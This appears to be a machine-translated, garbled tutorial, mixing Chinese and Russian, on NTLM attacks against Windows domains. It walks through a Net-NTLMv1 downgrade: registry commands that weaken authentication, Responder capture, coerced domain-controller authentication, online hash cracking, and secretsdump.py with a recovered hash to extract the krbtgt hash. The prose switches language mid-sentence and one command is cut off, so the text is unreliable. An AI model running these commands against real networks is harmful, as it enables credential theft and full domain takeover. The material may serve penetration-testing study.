Pass The Hash(PTH)哈希传递атаковатьда内网横向移动из一种方式。основная причинадаNTLM认证过程中использоватьизда用户密码изNTLM Хэш для выполнения шифрования. Итак, когда мы получаем NTLM пароля пользователя При хешировании без расшифровки открытого текста мы можем использовать NTLM. Hash выполняет атаку с передачей хеша, выполняет коллизию хеша на других компьютерах в интрасети и сталкивается с компьютерами, использующими тот же пароль. Затем перейдите через порт 135 или 445 к другим машинам, используя этот пароль, особенно для Pass; The Подробные детали атаки с использованием хеш-пропуска будут подробно представлены в главе 4.9 позже.
2
NTLM Relay
NTLM RelayНа самом деле, строго говоря, это нельзя назватьNTLM Реле, и да должно быть вызвано Net-NTLM Relay。этода发生существоватьNTLM认证из第三步,существовать Net-NTLM существует в ответном сообщении Хэш, когда злоумышленник получает Net-NTLM После хеширования можно выполнить атаку «человек посередине» и воспроизвести Net-NTLM. Hash,этот种атаковать手法也Сразуда大家所说изNTLM Relay(NTLM эстафета) атака. Конкретно про NTLM Подробные подробности атаки Relay будут подробно представлены в главе 4.7 позже.
3
Net-NTLM v1 Хэш-кряк
Из-за NTLM В процессе шифрования протокола аутентификации личности v1 есть естественные недостатки, пока получен Net-NTLM. v1 Хэш, можно взломать в NTLM хеш, это не имеет ничего общего с надежностью пароля. Это более эффективно в доменной среде, потому что Используйте хэш в домене что для удаленного подключения к целевому компьютеру. Если контроль домена позволяет отправлять NTLM Если v1 отвечает, мы можем выполнить аутентификацию NTLM на машине управления доменом, а затем захватить Net-NTLM управления доменом. v1 Хэш, взломанный до NTLM Хэш. Используйте учетную запись компьютера и хэш контроллера домена для экспорта хэшей всех пользователей в домене!
нодас Из Windows Microsoft использует NTLM по умолчанию, начиная с Vista. Протокол аутентификации личности v2, если вы хотите перейти на NTLM Для версии v1 его необходимо изменить вручную, и для работы необходимы права администратора целевого хоста.
Следующие операции позволяют целевому хосту поддерживать ответ NTLM v1:
Открыть локальную политику безопасности——>Настройки безопасности——>местная политика——>Параметры безопасности——>сетевая безопасность: Уровень аутентификации менеджера локальной сети. Как показано на рисунке:
Затем измените его так, чтобы он отправлял только ответ NTLM, как показано на рисунке:
Пользователи могут выполнить следующую команду для изменения реестра:
#Измените реестр, чтобы включить Net-NTLM v1:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t REG_DWORD /d 2 /f
#Чтобы обеспечить успешное открытие Net-NTLMv1, измените еще два значения раздела реестра.
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0\ /v NtlmMinClientSec /t REG_DWORD /d 536870912 /f
reg add HKLM\SYSTEM\CurrentControlSe
Как показано на рисунке, команда успешно выполнила изменение реестра!
Затем мы используем Responder для получения хэша Net-NTLM v1 целевого хоста.
Обратите внимание, что значение Challenge в новой версии Responder — любое значение. Нам нужно изменить значение Challenge в файле Responder.conf. 1122334455667788。Как показано на рисунке:
Затем используйте Responder для выполнения следующей команды для выполнения Net-NTLM. v1 Hashиз监听,Затем используйте уязвимость принтера или Petitpotam, чтобы заставить машину управления доменом принудительно пройти аутентификацию NTLM на нашей машине.,即可收到域控изNet-NTLM v1 HashПонятно。
responder -I eth0 --lm -rPv
Как показано на рисунке, вы можете видеть, что Ответчик получил Net-NTLM от контроллера домена. v1 Хэш.
Затем используйте сценарий ntlmv1.py для выполнения следующей команды для Net-NTLM. v1 Хэш для анализа,即可получатьNTHASH。
python3 ntlmv1.py --ntlmv1 AD01$::XIE:8EE7FF2234CA7E2887069AB8046F05E631C9F8607CC528FF:8EE7FF2234CA7E2887069AB8046F05E631C9F8607CC528FF:1122334455667788
Как показано на картинке,осуществлятьntlmv1.pyпара сценариевNet-NTLM v1 Hashпровести анализ,получатьNTHASH。
然назад将上一步получатьизNTHASHценить拿去https://crack.sh/get-cracking/сайт для взлома,Введите значение NTHASH и адрес электронной почты, чтобы получить результаты. Его также можно взломать, конвертировав в другой формат.
NTHASH:8EE7FF2234CA7E2887069AB8046F05E631C9F8607CC528FF
или
$NETNTLM$1122334455667788$8EE7FF2234CA7E2887069AB8046F05E631C9F8607CC528FF
Как показано на картинке,Введите адрес электронной почты NTHASHи для взлома.
Через несколько десятков секунд в наш почтовый ящик пришло письмо со взломанного сайта.
Значение ключа также является NTLM-хешем цели. Как показано на рисунке:
Затем мы можем использовать значение NTLM Hash для выполнения следующей команды в качестве учетной записи компьютера управления доменом для экспорта всех пользовательских хэшей в домене.
python3 secretsdump.py xie/AD01\$@10.211.55.4 -hashes aad3b435b51404eeaad3b435b51404ee:efab19d515b5ff969709df4cfcf387ef -dc-ip 10.211.55.4 -just-dc-user krbtgt
Экспортируйте хеш пользователя krbtgt, как показано:
- END -
ссылка:
https://docs.microsoft.com/zh-cn/windows/win32/secauthn/sspi
https://docs.microsoft.com/zh-cn/windows/win32/secauthn/ssp-packages-provided-by-microsoft
http://davenport.sourceforge.net/ntlm.html
https://daiker.gitbook.io/windows-protocol/ntlm-pian/4
Похожие статьи:
https://cloud.tencent.com/developer/article/1645398
https://mp.weixin.qq.com/s/FbA1BshhyQFWsW4nAgxQFw
https://www.cnblogs.com/backlion/p/10843067.html
https://www.cnblogs.com/backlion/p/10843067.html